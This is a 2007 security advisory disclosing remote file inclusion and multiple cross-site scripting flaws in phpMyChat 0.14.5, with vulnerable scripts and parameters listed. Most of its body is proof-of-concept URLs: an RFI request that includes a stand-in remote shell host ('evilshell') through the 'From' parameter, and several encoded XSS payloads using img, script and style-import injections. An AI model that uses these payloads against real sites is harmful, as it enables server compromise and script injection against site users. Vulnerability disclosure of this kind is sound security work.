RFI and Multiple XSS in PhpMyChat

2007.12.10
Credit: beenudel1986
Risk: High
Local: No
Remote: Yes
CWE: CWE-98

~~~~~~~~~~~~~~~~Application : phpMyChat 0.14.5~~~~~~~~~~~~~~~~ Email ; beenudel1986 (at) gmail (dot) com [email concealed] Website: http://phpmychat.sourceforge.net/ Many webhosting companies are offering this version of phpMychat in their cpanel :) ---------------------------- | Remote File Inclusion: | ---------------------------- http://localhost/path_to_phpMychat/chat/users_popupL.php3 Parameter = From POC = http://localhost/path_to_phpMychat/chat/users_popupL.php3?From=http://ev ilshell --------------- |Multiple XSS | --------------- a.Vulnerable URL: http://localhost/phpmychat/chat/deluser.php3 Parameter = LIMIT POC =http://localhost/phpmychat/chat/config/start_page.css.php3?Charset=iso- 8859-1&medium=10&FontName= >"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%2 3x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;Suc cessfull%26%23x20;XSS%26%23x20;Test%26%23x20;Here%26quot;)> b. Vulnerable URL: http://www.localhost/mychat/chat/deluser.php3 Parameter = LIMIT POC = http://www.localhost/phpmychat/chat/deluser.php3?L=english&Link=&LIMIT=> "'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23 x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;Succ essfull%26%23x20;XSS%26%23x20;Test%26%23x20;Here%26quot;)>&AUTH_USERNAME =&AUTH_PASSWORD= c. Vulnerable URL: http://www.localhost/phpmychat/chat/edituser.php3 Parameter= Link , still lokking for pOC ;) d.Vulnerable URL= http://localhost/phpmychat/chat/users_popupL.php3 Parameter = LastCheck POC = http://localhost/mychat/chat/users_popupL.php3?From=..%2FphpMyChat.php3& L=english&LastCheck= "></STYLE><STYLE>@import"javascript:alert('This%20XSS%20Is%20Xss')";</ST YLE>' e. Vulnerable URL: http://localhost/phpmychat/chat/users_popupL.php3 Parameter = B POC =http://localhost/phpmychat/chat/users_popupL.php3?From=..%2FphpMyChat.p hp3&L=english&LastCheck=1196698786&B= >"><script>alert("This%20XSS%20Test%20Successful")</script> f.Vulnerable URL: http://localhost/phmychat/chat/users_popupL.php3 Parameter =From POC = http://localhost/phpmychat/chat/users_popupL.php3?From=>"><script>alert( "This%20XSS%20Test%20Successful")</script> g. Vulnerable URL = http://localhost/phpmychat/chat/config/start_page.css.php3 Parameter = FontName Parameter = medium h. Vulnerable URL: http://localhost/phpmychat/chat/config/style.css.php3 Parameter = FontName Parameter = medium POC = http://localhost/phpmychat//mychat/chat/config/style.css.php3?Charset=is o-8859-1&medium=10&FontName=>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x 76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74 ;%26%23x3a;alert(%26quot;This%26%23x20;XSS%26%23x20;Test%26%23x20;Succes sful%26quot;)> Try the second one urself or mail me to have the POC :P ~~~~~~~~~~~~~~~~~~greetz to mah friend d3 , icqbomber , baltazar~~~~~~~~~~~~~~~~~~ --


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